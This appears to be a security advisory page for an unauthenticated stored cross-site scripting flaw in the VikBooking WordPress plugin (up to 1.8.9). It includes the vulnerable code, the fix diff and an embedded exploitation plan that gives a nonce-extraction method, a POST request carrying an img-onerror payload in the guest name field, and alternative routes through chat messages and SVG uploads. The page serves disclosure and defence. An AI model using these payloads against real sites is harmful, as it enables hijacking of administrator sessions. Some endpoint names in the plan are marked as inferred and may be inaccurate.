VikBooking Hotel Booking Engine & PMS <= 1.8.9 - Unauthenticated Stored Cross-Site Scripting
Description
The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.8.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.8.10
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-42762 ## 1. Vulnerability Summary The **VikBooking Hotel Booking Engine & PMS** plugin (versions <= 1.8.9) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin accepts user-controlled guest (pax) …
Show full research plan
Exploitation Research Plan - CVE-2026-42762
1. Vulnerability Summary
The VikBooking Hotel Booking Engine & PMS plugin (versions <= 1.8.9) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin accepts user-controlled guest (pax) information during the booking or pre-check-in process and subsequently renders this data in the administrative back-end without sufficient sanitization or output escaping. Specifically, guest names and other profile fields are echoed directly into the HTML of the "Booking Check-in" view.
2. Attack Vector Analysis
- Vulnerable Endpoint: Front-end pre-check-in or booking confirmation forms.
- Action/Hook:
wp_ajax_nopriv_vikbooking_save_checkinorwp_ajax_nopriv_vbo_save_order(inferred). - Vulnerable Parameter:
first_name,last_name, orextranotes. - Authentication: None (Unauthenticated).
- Preconditions: The guest must have a valid booking ID (to use the pre-check-in) OR the attacker can simply submit a new booking request if guest bookings are enabled.
3. Code Flow
- Entry Point (Unauthenticated): A guest interacts with the front-end "Pre-Check-in" form or the initial booking form. The fields are defined in
admin/helpers/src/checkin/paxfields/basic.php. - Storage: The data is processed and saved into the database (e.g.,
#__vikbooking_ordersor pax data tables) via theVBOCheckinPaxorVBOModelQuotemodels. - Sink (Admin Context): An administrator navigates to VikBooking > Bookings and clicks on the "Check-in" button for a specific order.
- Rendering: The plugin loads the AJAX view
admin/views/bookingcheckin/tmpl/default.php. - Execution: At line 160 of
admin/views/bookingcheckin/tmpl/default.php, the customer's name is rendered:
The// admin/views/bookingcheckin/tmpl/default.php:160 echo (isset($customer['country_img']) ? $customer['country_img'].' ' : '').'<a href="javascript: void(0);" onclick="vboUpdateModal(\''.addslashes(JText::translate('VBCUSTINFO')).'\', \'.customer_info\', true);">'.ltrim($customer['first_name'].' '.$customer['last_name']).'</a>';ltrim()function is used, which does not provide any XSS protection. The concatenatedfirst_nameandlast_nameare echoed directly inside an<a>tag.
4. Nonce Acquisition Strategy
The front-end forms for VikBooking typically localize security nonces into a global JavaScript object.
- Identify Shortcode: The pre-check-in feature is usually rendered via the
[vikbooking_checkin]shortcode. - Create Test Page:
wp post create --post_type=page --post_title="Guest Checkin" --post_status=publish --post_content='[vikbooking_checkin]' - Extract Nonce: Use
browser_navigateto visit the page andbrowser_evalto extract the nonce.- JS Variable:
window.vbo_vars?.vbo_ajax_nonceorwindow.vbo_chat_config?.nonce. - Verification: Check
wp_localize_scriptcalls in the plugin's front-end controllers to find the exact key.
- JS Variable:
5. Exploitation Strategy
Step 1: Inject Payload
Submit a pre-check-in request with the XSS payload in the first_name field.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Body:
(Note:action=vikbooking_ajax_save_checkin& id_order=1& first_name=<img src=x onerror="alert('XSS_SUCCESS')">& last_name=Attacker& vbo_ajax_nonce=[EXTRACTED_NONCE]id_ordermust be a valid order ID. Usewp_clito find or create one first).
Step 2: Trigger Payload
- Log in as a WordPress Administrator.
- Navigate to the VikBooking "Bookings" page.
- Locate the order with ID 1 and click the Check-in icon/button.
- A modal will open, and the browser will execute the
alert('XSS_SUCCESS').
6. Test Data Setup
- Install Plugin: Ensure VikBooking <= 1.8.9 is active.
- Create Admin User:
wp user create admin admin@example.com --role=administrator --user_pass=password - Create an Order: VikBooking requires a pre-existing order to perform a check-in.
wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'vikbooking_orders', ['id' => 1, 'ts' => time(), 'checkin' => time(), 'checkout' => time() + 86400, 'status' => 'CONFIRMED']);" - Create Check-in Page:
wp post create --post_type=page --post_title="Checkin" --post_status=publish --post_content='[vikbooking_checkin]'
7. Expected Results
- The
vikbooking_ajax_save_checkinrequest should return a success JSON response. - When the admin opens the check-in modal, the HTML source should contain:
...<a ...>John <img src=x onerror="alert('XSS_SUCCESS')"> Attacker</a>... - The JavaScript payload will execute in the admin's session context.
8. Verification Steps
- Database Check: Verify the payload is stored in the database.
wp db query "SELECT first_name FROM wp_vikbooking_orders WHERE id=1;"(Adjust table name prefix if necessary). - Response Check: Use
http_requestas an admin to fetch the check-in modal content:GET /wp-admin/admin-ajax.php?action=vikbooking_ajax_load_checkin&id=1
Search for the string<img src=x onerror="alert('XSS_SUCCESS')">in the response body.
9. Alternative Approaches
- Chat Module (v1.8.8+): If the check-in endpoint requires complex session validation, use the new Chat module.
- Action:
wp_ajax_nopriv_vbo_chat_send_message. - Payload: Send the script in the message body or attachment name.
- Trigger: Admin opens the "Inquiries Chat" widget (
admin-widget-inquiries-chat).
- Action:
- SVG Attachment: Use
VBOChatMediator::uploadAttachment(found inadmin/helpers/src/chat/mediator.php) to upload a.svgfile containing an XSS payload, assvgis an explicitly allowed extension inVBOChatMediator::__construct.
Summary
The VikBooking plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) due to insufficient input sanitization and output escaping. Attackers can inject malicious scripts into guest profile fields during the booking or pre-check-in process, which then execute when an administrator views the booking details in the backend.
Vulnerable Code
// admin/views/bookingcheckin/tmpl/default.php // Around line 160 in version 1.8.9 <div class="vbo-bookdet-foot"> <?php echo (isset($customer['country_img']) ? $customer['country_img'].' ' : '').'<a href="javascript: void(0);" onclick="vboUpdateModal(\''.addslashes(JText::translate('VBCUSTINFO')).'\', \'.customer_info\', true);">'.ltrim($customer['first_name'].' '.$customer['last_name']).'</a>'; ?> </div> --- // site/controller.php // Lines 3269-3275 foreach ($pguests as $ind => $adults) { foreach ($adults as $aduind => $details) { foreach ($details as $detkey => $detval) { if (!in_array($detkey, $front_keys)) { // push the key of the guest details for later comparison array_push($front_keys, $detkey); }
Security Fix
@@ -267,7 +267,19 @@ return false; } - return JFile::delete($attachment->getPath()); + $filePath = $attachment->getPath(); + + /** + * Make sure the file is located under the registered attachments path + * to prevent arbitrary file deletion. + * + * @since 1.18.10 (J) - 1.8.10 (WP) + */ + if (strpos($filePath, $this->attachmentsPath) !== 0) { + return false; + } + + return JFile::delete($filePath); } /** @@ -15,8 +15,9 @@ * Helper class to support the default pax fields data collection. * * @since 1.15.0 (J) - 1.5.0 (WP) + * @since 1.18.10 (J) - 1.8.10 (WP) class is no longer final to allow inheritance. */ -final class VBOCheckinPaxfieldsBasic extends VBOCheckinAdapter +class VBOCheckinPaxfieldsBasic extends VBOCheckinAdapter { /** * The ID of this pax data collector class. @@ -58,6 +58,9 @@ if (!empty($data['valid_until'])) { // convert the provided date-time string into UTC $data['valid_until'] = JFactory::getDate($data['valid_until'], JFactory::getApplication()->get('offset'))->toSql(); + } else { + // force the value to be null + $data['valid_until'] = null; } if (!empty($data['country_3_code']) && strlen($data['country_3_code']) !== 3) { @@ -125,7 +125,7 @@ public function getTitle() { // access the notification title - $title = (string) $this->get('title', ''); + $title = strip_tags((string) $this->get('title', '')); // try to guess the title if (!$title) { @@ -689,6 +689,8 @@ // display any other information collected through the pre check-in if (count($pax_data) && isset($pax_data[$ind]) && isset($pax_data[$ind][$g])) { foreach ($pax_data[$ind][$g] as $extrak => $extrav) { + // sanitize pax field key + $extrak = htmlspecialchars($extrak); if (isset($pax_fields[$extrak]) || (is_scalar($extrav) && !strlen($extrav))) { // this is a default pax field, we skip it continue; @@ -3269,6 +3269,11 @@ foreach ($pguests as $ind => $adults) { foreach ($adults as $aduind => $details) { foreach ($details as $detkey => $detval) { + // accept no raw HTML tags as keys + $detkey = htmlspecialchars(strip_tags($detkey)); + if (!$detkey) { + continue; + } if (!in_array($detkey, $front_keys)) { // push the key of the guest details for later comparison array_push($front_keys, $detkey); @@ -3304,6 +3309,11 @@ $guests_details[$ind][$aduind] = $details; } foreach ($details as $detkey => $detval) { + // accept no raw HTML tags as keys + $detkey = htmlspecialchars(strip_tags($detkey)); + if (!$detkey) { + continue; + } if (!in_array($detkey, $front_keys)) { // merge this key probably reserved to the back-end $guests_details[$ind][$aduind][$detkey] = $detval;
Exploit Outline
An unauthenticated attacker can exploit this by submitting a pre-check-in form or a booking request where fields like 'first_name', 'last_name', or 'extranotes' contain a malicious script (e.g., <img src=x onerror=alert(1)>). This payload is stored in the database. When a logged-in administrator visits the VikBooking 'Bookings' section and opens the 'Check-in' modal for that specific order, the malicious script is rendered and executed within the administrator's browser session, potentially allowing session hijacking or unauthorized administrative actions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.